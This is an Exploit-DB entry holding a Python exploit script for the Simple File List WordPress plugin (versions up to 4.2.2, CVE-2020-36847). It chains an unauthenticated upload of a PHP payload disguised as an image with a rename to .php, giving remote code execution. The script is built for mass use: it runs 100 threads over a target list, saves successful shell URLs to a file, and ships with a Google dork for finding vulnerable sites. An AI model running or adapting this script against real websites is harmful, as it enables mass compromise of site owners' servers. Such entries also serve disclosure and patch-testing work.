Exploit-DB #52371
Description: Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
Type: webapps
Platform: multiple
Date: 2025-07-22
Author: Md Amanat Ullah (xSwads)

Exploit:
# Exploit Title: Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
# Google Dork: inurl:/wp-content/plugins/simple-file-list/
# Date: 2025-07-15
# Exploit Author: Md Amanat Ullah (xSwads)
# Vendor Homepage: https://wordpress.org/plugins/simple-file-list/
# Software Link:
https://downloads.wordpress.org/plugin/simple-file-list.4.2.2.zip
# Version: <= 4.2.2
# Tested on: Ubuntu 22.04
# CVE: CVE-2020-36847

#!/usr/bin/env python3
import requests
import sys, os
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
from colorama import Fore, init

init(autoreset=True)

HEADERS = {'User-Agent': 'Mozilla/5.0'}
PHP_PAYLOAD = "<?php echo 'Vuln!!!'; ?>"
UPLOAD_PATH = "wp-content/plugins/simple-file-list/ee-upload-engine.php"
RENAME_PATH = "wp-content/plugins/simple-file-list/ee-file-engine.php"
UPLOAD_FOLDER = "wp-content/uploads/simple-file-list/"

def FilterURLS(site):
    site = site.strip()
    if not site.startswith(('http://', 'https://')):
        site = 'http://' + site
    if not site.endswith('/'):
        site += '/'
    return site

def upload_payload(base):
    upload_url = urljoin(base, UPLOAD_PATH)
    try:
        files = {'file': ('pwn.png', PHP_PAYLOAD, 'image/png')}
        r = requests.post(upload_url, files=files, headers=HEADERS, timeout=10, verify=False)
        r.raise_for_status()
        result = r.json()
        return result.get('file')
    except Exception:
        return None

def rename_payload(base, filename):
    rename_url = urljoin(base, RENAME_PATH)
    try:
        new_name = filename[:-4] + '.php'
        data = {'oldFile': filename, 'newFile': new_name}
        r = requests.post(rename_url, data=data, headers=HEADERS, timeout=10, verify=False)
        r.raise_for_status()
        result = r.json()
        return result.get('newFile')
    except Exception:
        return None

def exploit(site):
    base = FilterURLS(site)
    try:
        filename = upload_payload(base)
        if not filename:
            print(Fore.RED + f"[Failed] - {site}")
            return

        newfile = rename_payload(base, filename)
        if not newfile:
            print(Fore.RED + f"[Failed] - {site}")
            return

        shell_url = urljoin(base, UPLOAD_FOLDER + newfile)
        r = requests.get(shell_url, headers=HEADERS, timeout=10, verify=False)
        if r.status_code == 200:
            print(Fore.GREEN + f"[Exploited] - {shell_url}")
            with open("shells_found.txt", "a") as f:
                f.write(shell_url + "\n")
        else:
            print(Fore.RED + f"[Failed] - {site}")

    except Exception:
        print(Fore.RED + f"[Failed] - {site}")

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} list.txt")
        sys.exit(1)

    targets_file = sys.argv[1]
    if not os.path.isfile(targets_file):
        print(f"File {targets_file} not found.")
        sys.exit(1)

    with open(targets_file) as f:
        targets = [line.strip() for line in f if line.strip()]

    with ThreadPoolExecutor(max_workers=100) as executor:
        futures = [executor.submit(exploit, target) for target in targets]
        for _ in as_completed(futures):
            pass

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()